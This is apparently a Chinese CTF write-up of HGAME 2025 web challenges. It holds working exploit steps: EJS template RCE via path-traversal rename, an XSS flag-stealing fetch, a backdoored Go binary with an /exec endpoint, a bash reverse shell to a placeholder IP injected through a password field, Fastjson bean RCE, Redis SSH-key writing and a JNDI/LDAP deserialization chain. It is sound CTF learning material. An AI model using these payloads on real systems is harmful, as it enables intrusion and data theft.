hgame-2025

寒假复健

hgame-2025

week[one]

Level 24 Pacman

在index.js里面找到两个gift,base64解码后再栅栏拿到flag

aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0= -> hgame{u_4re_pacman_m4ster}

aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ== -> hgame{pratice_makes_perfect}

第一个是正确的flag

Level 47 BandBomb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
const express = require('express');
const multer = require('multer');
const fs = require('fs');
const path = require('path');

const app = express();

app.set('view engine', 'ejs');

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(express.json());

const storage = multer.diskStorage({
destination: (req, file, cb) => {
const uploadDir = 'uploads';
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir);
}
cb(null, uploadDir);
},
filename: (req, file, cb) => {
cb(null, file.originalname);
}
});

const upload = multer({
storage: storage,
fileFilter: (_, file, cb) => {
try {
if (!file.originalname) {
return cb(new Error('无效的文件名'), false);
}
cb(null, true);
} catch (err) {
cb(new Error('文件处理错误'), false);
}
}
});

app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads');

if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

fs.readdir(uploadsDir, (err, files) => {
if (err) {
return res.status(500).render('mortis', { files: [] });
}
res.render('mortis', { files: files });
});
});

app.post('/upload', (req, res) => {
upload.single('file')(req, res, (err) => {
if (err) {
return res.status(400).json({ error: err.message });
}
if (!req.file) {
return res.status(400).json({ error: '没有选择文件' });
}
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});

app.post('/rename', (req, res) => {
const { oldName, newName } = req.body;
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

if (!oldName || !newName) {
return res.status(400).json({ error: ' ' });
}

fs.rename(oldPath, newPath, (err) => {
if (err) {
return res.status(500).json({ error: ' ' + err.message });
}
res.json({ message: ' ' });
});
});

app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});

感觉有点像ciscn2024的ezjs那题,但是改了一点点,试了一下发现因为node_moudules目录下没有aaa目录,并且不会自动创建目录

可以利用rename路由来覆盖mortis.ejs实现rce

上传1.aaa

1
2
3
4
5
6
7
<!DOCTYPE html>
<html>
<ul>
<%= process.mainModule.require('child_process').execSync('env') %>
</ul>
</body>
</html>

然后覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /rename HTTP/1.1
Host: node1.hgame.vidar.club:30973
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/132.0.0.0
If-None-Match: W/"1985-3HISAF0ZQ3FipdR5z2RBSS5Yb4c"
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Type: application/json
Content-Length: 50

{"oldName":"1.aaa","newName":"../views/mortis.ejs"}

再访问一下/即可

Level 69 MysteryMessageBoard

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
package main

import (
"context"
"fmt"
"github.com/chromedp/chromedp"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"log"
"net/http"
"sync"
"time"
)

var (
store = sessions.NewCookieStore([]byte("fake_key"))
users = map[string]string{
"shallot": "fake_password",
"admin": "fake_password"}
comments []string
flag = "FLAG{this_is_a_fake_flag}"
lock sync.Mutex
)

func loginHandler(c *gin.Context) {
username := c.PostForm("username")
password := c.PostForm("password")
if storedPassword, ok := users[username]; ok && storedPassword == password {
session, _ := store.Get(c.Request, "session")
session.Values["username"] = username
session.Options = &sessions.Options{
Path: "/",
MaxAge: 3600,
HttpOnly: false,
Secure: false,
}
session.Save(c.Request, c.Writer)
c.String(http.StatusOK, "success")
return
}
log.Printf("Login failed for user: %s\n", username)
c.String(http.StatusUnauthorized, "error")
}
func logoutHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
delete(session.Values, "username")
session.Save(c.Request, c.Writer)
c.Redirect(http.StatusFound, "/login")
}
func indexHandler(c *gin.Context) {
session, _ := store.Get(c.Request, "session")
username, ok := session.Values["username"].(string)
if !ok {
log.Println("User not logged in, redirecting to login")
c.Redirect(http.StatusFound, "/login")
return
}
if c.Request.Method == http.MethodPost {
comment := c.PostForm("comment")
log.Printf("New comment submitted: %s\n", comment)
comments = append(comments, comment)
}
htmlContent := fmt.Sprintf(`<html>
<body>
<h1>留言板</h1>
<p>欢迎,%s,试着写点有意思的东西吧,admin才不会来看你!自恋的笨蛋!</p>
<form method="post">
<textarea name="comment" required></textarea><br>
<input type="submit" value="提交评论">
</form>
<h3>留言:</h3>
<ul>`, username)
for _, comment := range comments {
htmlContent += "<li>" + comment + "</li>"
}
htmlContent += `</ul>
<p><a href="/logout">退出</a></p>
</body>
</html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
}
func adminHandler(c *gin.Context) {
htmlContent := `<html><body>
<p>好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢!</p>
</body></html>`
c.Data(http.StatusOK, "text/html; charset=utf-8", []byte(htmlContent))
//无头浏览器模拟登录admin,并以admin身份访问/路由
go func() {
lock.Lock()
defer lock.Unlock()
ctx, cancel := chromedp.NewContext(context.Background())
defer cancel()
ctx, _ = context.WithTimeout(ctx, 20*time.Second)
if err := chromedp.Run(ctx, myTasks()); err != nil {
log.Println("Chromedp error:", err)
return
}
}()
}

// 无头浏览器操作
func myTasks() chromedp.Tasks {
return chromedp.Tasks{
chromedp.Navigate("/login"),
chromedp.WaitVisible(`input[name="username"]`),
chromedp.SendKeys(`input[name="username"]`, "admin"),
chromedp.SendKeys(`input[name="password"]`, "fake_password"),
chromedp.Click(`input[type="submit"]`),
chromedp.Navigate("/"),
chromedp.Sleep(5 * time.Second),
}
}

func flagHandler(c *gin.Context) {
log.Println("Handling flag request")
session, err := store.Get(c.Request, "session")
if err != nil {
c.String(http.StatusInternalServerError, "无法获取会话")
return
}
username, ok := session.Values["username"].(string)
if !ok || username != "admin" {
c.String(http.StatusForbidden, "只有admin才可以访问哦")
return
}
log.Println("Admin accessed the flag")
c.String(http.StatusOK, flag)
}
func main() {
r := gin.Default()
r.GET("/login", loginHandler)
r.POST("/login", loginHandler)
r.GET("/logout", logoutHandler)
r.GET("/", indexHandler)
r.GET("/admin", adminHandler)
r.GET("/flag", flagHandler)
log.Println("Server started at :8888")
log.Fatal(r.Run(":8888"))
}

感觉是一个xss,让admin访问flag再发出来,然后就可以拿到flag了。

先爆破拿到密码888888

再按照刚刚的思路写一个fetch拿到flag。提交后访问admin,然后再访问/路由。没有出现flag的话可以刷新一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
fetch('/flag')
.then(response => response.text())
.then(data => {
const params = new URLSearchParams();
params.append('comment', data); // 直接发送 flag 内容

return fetch('/', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: params.toString()
});
})
</script>

Level 25 双面人派对

一开始给了个elf,先脱壳,然后再反编译

没看懂有什么用。

之后尝试运行main,发现他一直在连接9000端口。

题目给了两个地址,第一次连接的响应是307,第二个提供了一开始的elf下载。试着模仿elf的行为,使用第一个地址作为host。

爆403了,离成功更进一步。现在的问题是说权限不够,在刚刚elf的反编译结果中找找有没有有用的内容。

找到这个

1
2
3
4
5
endpoint: "127.0.0.1:9000"
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"

利用mc连接储MinIO

1
mc alias set myminio http://node1.hgame.vidar.club:32294 minio_admin JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=

发现有两个储存桶

update也是一个elf文件,运行之后发现和一开始那个文件好像

看了下md5,发现是一样的。那我不是白做了这么久?再看一看src.zip里面是什么,发现和elf的源代码好像,估计就是把这个go编译成了一个elf给我们,那现在给我们源代码又有什么用呢?

src里面有两个go程序,一个是第一个靶机(即docker的9000端口)的minio,另一个是第二个靶机(docker的8080端口)是一个列出目录文件的功能。我们也就是用这个下载得到了main这个elf。而刚刚也说过main和update是同一个elf。所有猜测这个题目就是在后端运行这个elf,那我们通过minio把update替换成我们自己编译的有后门的elf就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package main

import (
"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
"level25/conf"
"level25/fetch"
"net/http"
"os/exec"
)

func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}

func program(state overseer.State) {
g := gin.Default()

//静态文件服务
//改成file防止和exec形成冲突
g.StaticFS("/file", gin.Dir(".", true))

// 添加命令执行的路由(GET 方式)
g.GET("/exec", func(c *gin.Context) {
cmd := c.Query("cmd") // 获取 URL 参数
if cmd == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "Missing cmd parameter"})
return
}

out, err := exec.Command("sh", "-c", cmd).CombinedOutput()
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error(), "output": string(out)})
return
}

c.JSON(http.StatusOK, gin.H{"output": string(out)})
})

g.Run(":8080")
}

然后编译成elf,不会配的可以抄我的配置

编译好后替换掉minio上prodbucket里面的update文件就可以了

1
mc cp ./update myminio/prodbucket/update

Level 38475 角落

访问robots.txt拿到一个路径/app.conf,继续访问拿到apache的配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
Options Indexes
AllowOverride None
Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
Order Allow,Deny
Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"

可以利用orange大大发现的apache漏洞读到/usr/local/apache2/app/app.py的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg


def readmsg():
filename = pwd + "/tmp/message.txt"
if os.path.exists(filename):
f = open(filename, 'r')
message = f.read()
f.close()
return message
else:
return 'No message now.'


@app.route('/index', methods=['GET'])
def index():
status = request.args.get('status')
if status is None:
status = ''
return render_template("index.html", status=status)


@app.route('/send', methods=['POST'])
def write_message():
filename = pwd + "/tmp/message.txt"
message = request.form['message']

f = open(filename, 'w')
f.write(message)
f.close()

return redirect('index?status=Send successfully!!')

@app.route('/read', methods=['GET'])
def read_message():
if "{" not in readmsg():
show = show_msg.replace("{{message}}", readmsg())
return render_template_string(show)
return 'waf!!'


if __name__ == '__main__':
app.run(host = '0.0.0.0', port = 5000)

发现这里的read路由存在ssti,但是过滤了{,ssti似乎不可能成功了。但是这是从文件读取的,并且文件内容可控。我们可以用bp开三个进程,一个写入无害内容,一个写入ssti代码,一个不断请求read路由,这样就可以看到成功ssti的回显了。

可以看到这时候出现了ssti成功的响应包

week[two]

Level 21096 HoneyPot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
func ImportData(c *gin.Context) {
var config ImportConfig
if err := c.ShouldBindJSON(&config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid request body: " + err.Error(),
})
return
}
if err := validateImportConfig(config); err != nil {
c.JSON(http.StatusBadRequest, gin.H{
"success": false,
"message": "Invalid input: " + err.Error(),
})
return
}

config.RemoteHost = sanitizeInput(config.RemoteHost)
config.RemoteUsername = sanitizeInput(config.RemoteUsername)
config.RemoteDatabase = sanitizeInput(config.RemoteDatabase)
config.LocalDatabase = sanitizeInput(config.LocalDatabase)
if manager.db == nil {
dsn := buildDSN(localConfig)
db, err := sql.Open("mysql", dsn)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to connect to local database: " + err.Error(),
})
return
}

if err := db.Ping(); err != nil {
db.Close()
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to ping local database: " + err.Error(),
})
return
}

manager.db = db
}
if err := createdb(config.LocalDatabase); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to create local database: " + err.Error(),
})
return
}
//Never able to inject shell commands,Hackers can't use this,HaHa
command := fmt.Sprintf("/usr/local/bin/mysqldump -h %s -u %s -p%s %s |/usr/local/bin/mysql -h 127.0.0.1 -u %s -p%s %s",
config.RemoteHost,
config.RemoteUsername,
config.RemotePassword,
config.RemoteDatabase,
localConfig.Username,
localConfig.Password,
config.LocalDatabase,
)
fmt.Println(command)
cmd := exec.Command("sh", "-c", command)
if err := cmd.Run(); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to import data: " + err.Error(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"message": "Data imported successfully",
})
}
func sanitizeInput(input string) string {
reg := regexp.MustCompile(`[;&|><\(\)\{\}\[\]\\]`)
return reg.ReplaceAllString(input, "")
}

发现RemotePassword没用使用sanitizeInput过滤,我们用;分隔命令,然后就可以rce了。

1
2
3
4
5
6
7
8
{
"remote_host":"127.0.0.1",
"remote_port":"3306",
"remote_username":"root",
"remote_password":";bash -c \"bash -i >& /dev/tcp/x.x.x.x/2333 0>&1\";",
"remote_database":"ctf",
"local_database":"ctf"
}

Level 21096 HoneyPot_Revenge

参考文章

https://tech.ec3o.fun/2024/10/25/Web-Vulnerability%20Reproduction/CVE-2024-21096

https://mp.weixin.qq.com/s/liIwvkDKq2WiDXBQWGyDnw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sudo apt-get update
sudo apt-get install build-essential cmake libncurses5-dev bison libssl-dev pkg-config

wget https://dev.mysql.com/get/Downloads/MySQL-8.0/mysql-boost-8.0.34.tar.gz

tar -zxvf mysql-boost-8.0.34.tar.gz
cd mysql-8.0.34

vim ./include/mysql_version.h.in


mkdir build
cd build
cmake .. -DDOWNLOAD_BOOST=1 -DWITH_BOOST=../boost
#我用是在docker里面编译的,编译了三个多小时,太操了
make
sudo make install

初始化MySQL

1
2
/usr/local/mysql/bin/mysqld --initialize --user=root --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
/usr/local/mysql/bin/mysqldump --version

我这里的命令是cat /f* >>/flag(使用/writeflag应该也行

1
2
./mysqld --initialize --user=root --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data
./mysqldump --version

登录数据库

1
2
/usr/local/mysql/bin/mysqld_safe --user=mysql &
/usr/local/mysql/bin/mysql -u root -p rDZuj?YRH4et

创建数据库

1
2
3
4
ALTER USER 'root'@'localhost' IDENTIFIED BY 'password';
FLUSH PRIVILEGES;
CREATE DATABASE test;
EXIT;

但是这样远程连接不了

1
2
3
4
5
GRANT ALL ON *.* TO 'root'@'%';#如果报错,执行下两行语句
update user set host='%' where user='root';FLUSH PRIVILEGES;
GRANT ALL ON *.* TO 'root'@'%';#再连续执行两次这个
FLUSH PRIVILEGES;
EXIT;

后面又发现一个很草的点,这个导入的功能他的指定端口其实是用不了的,只会使用默认的3306端口,我的vps上已经占用掉了,后面把这个恶意mysql的端口转发到了我另一个闲置的VPS上的3306端口上,之后就可以导入了。

导入之后访问flag路由拿到flag。

Level 60 SignInJava

大概思路是先注册一个bean,然后调用完成rce

注册(当解析到 @type 字段时,Fastjson 会根据 val 属性值(或直接根据 @type 值)加载对应的类。

1
2
3
4
5
6
7
8
9
10
{
"beanName":"cn.hutool.extra.spring.SpringUtil",
"methodName":"registerBean",
"params":{
"arg0":"cmd",
"arg1":{
"@type":"cn.hutool.core.util.RuntimeUtil"
}
}
}

rce

1
2
3
4
5
6
7
{
"beanName":"cmd",
"methodName":"execForLines",
"params":{
"arg0":["whoami"]
}
}

Level 111 不存在的车厢

也是个go题

1
2
3
4
5
// 只允许 GET 请求,其他方法返回 405 错误
if r.Method != "GET" {
w.WriteHeader(http.StatusMethodNotAllowed)
return
}

但是获取flag的逻辑又是:

1
2
3
4
5
6
7
8
9
// 处理 /flag 请求,仅允许 POST 方法获取 FLAG
mux.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
w.WriteHeader(http.StatusForbidden)
return
}
flag := os.Getenv("FLAG") // 从环境变量获取 FLAG
w.Write([]byte(flag))
})

所以说这里形成了冲突。估计是要http走私。

看h111的实现。

发现数据的类型大多是unit16,Range: 0 through 65535。这里存在溢出问题,当值大于65535时会进行MOD 2^16运算,也就是说65536会变为0

然后web/main.go里面存在链接复用,如果conn里面有数据的话就会继续使用tcp连接里面残留的数据。这样在下一次请求中被读取可能被当作一个完整的请求,也就是我们需要的POST /flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
// 持续接受客户端连接
for {
conn, err := listener.Accept()
if err != nil {
log.Println(err)
continue
}
go serverH111(conn)
}
func serverH111(conn net.Conn) {
defer conn.Close()
for {
req, err := h111.ReadH111Request(conn)
if err != nil {
log.Println(err)
return
}
recorder := httptest.NewRecorder()
mux.ServeHTTP(recorder, req)
resp := recorder.Result()
log.Printf("Received request %s %s, response status code %d", req.Method, req.URL.Path, resp.StatusCode)
err = h111.WriteH111Response(conn, resp)
if err != nil {
log.Println(err)
return
}
}

所以现在的攻击思路就很明确了:

  1. 构造一个GET请求,总长度超过 65535 字节以实现溢出
  2. 利用长度字段溢出制造出数据残留
  3. 将走私数据拼接在GET请求的尾部

再看ReadH111Request的实现,这里如果bodyLength为空,也就是bodyLength的值为065536就不会读取,所以可以让body的数据留在连接中。

1
2
3
4
5
6
7
8
var bodyLength uint16
err = binary.Read(reader, binary.BigEndian, &bodyLength)
if err != nil {
return nil, errors.Join(ErrReadH111Request, err)
}

body := make([]byte, bodyLength)
_, err = io.ReadFull(reader, body)

最后是官方的poc:

H111 结构对应

字段 说明 示例值
方法长度 2 字节,表示方法的长度 \x00\x04
方法 方法字符串,如 GET / POST POST
URI 长度 2 字节,表示 URI 长度 \x00\x05
URI 目标路径 /flag
头部数量 2 字节,表示 HTTP 头部个数 \x00\x00
Body 长度 2 字节,表示请求体的大小 \x00\x00

然后填充65519个0,是65536-17得到,这样使得请求长度为65536实现溢出。

Level 257 日落的紫罗兰

给了两个服务,先用nmap看看情况

PORT STATE SERVICE VERSION
32044/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel\

PORT STATE SERVICE VERSION
30160/tcp open redis Redis key-value store

发现是一个ssh和一个redis。没用密码直接连上了

1
redis-cli -h node1.hgame.vidar.club -p 30160

尝试redis写root的公钥,权限不够。然后发现还有mysid用户

1
2
3
4
5
6
7
cat /root/.ssh/1.txt |redis-cli -h node1.hgame.vidar.club -p 31999 -x set crack
redis-cli -h node1.hgame.vidar.club -p 31999
config set dir /home/mysid/.ssh      #设置存储公钥路径
config set dbfilename authorized_keys  
get crack #查看缓存
save #保存缓存到目标主机路径及文件下
exit #退出

然后尝试ssh连接。

1
ssh mysid@node1.hgame.vidar.club -p 32105

成功了

然后就是要提权了。suid和sudo都没有,ps发现有一个web服务

可以通过sftp来把jar包拉下来看看

发现ldap查询的url是写死的ldap://127.0.0.1:389,并且靶机的389端口其实是没有开的,我们在127.0.0.1:389上启动一个恶意的ldap服务即可

但是大多数工具的ldap地址是写死了的,我们这里选择X1r0z师傅的工具可以解决这个问题。

通过ssh搭建正向代理(这里的端口改了一下,我开了新环境

1
ssh -p 30757 -L 2333:127.0.0.1:8080 mysid@node1.hgame.vidar.club

利用find命令可以发现本地有java环境,并且jar包中有jackson

1
/usr/local/openjdk-8/bin/java -jar JNDIMap-0.0.1.jar -i 127.0.0.1 -l 389 -u "/Deserialize/Jackson/Command/Y2htb2QgNzc3IC9mbGFn"

post参数(这里是因为search打jndi注入必须要这种格式。参考文章:文章 - 从search入手的jndi注入技术学习 - 先知社区

1
baseDN=a/c&filter=b

现在可以读flag了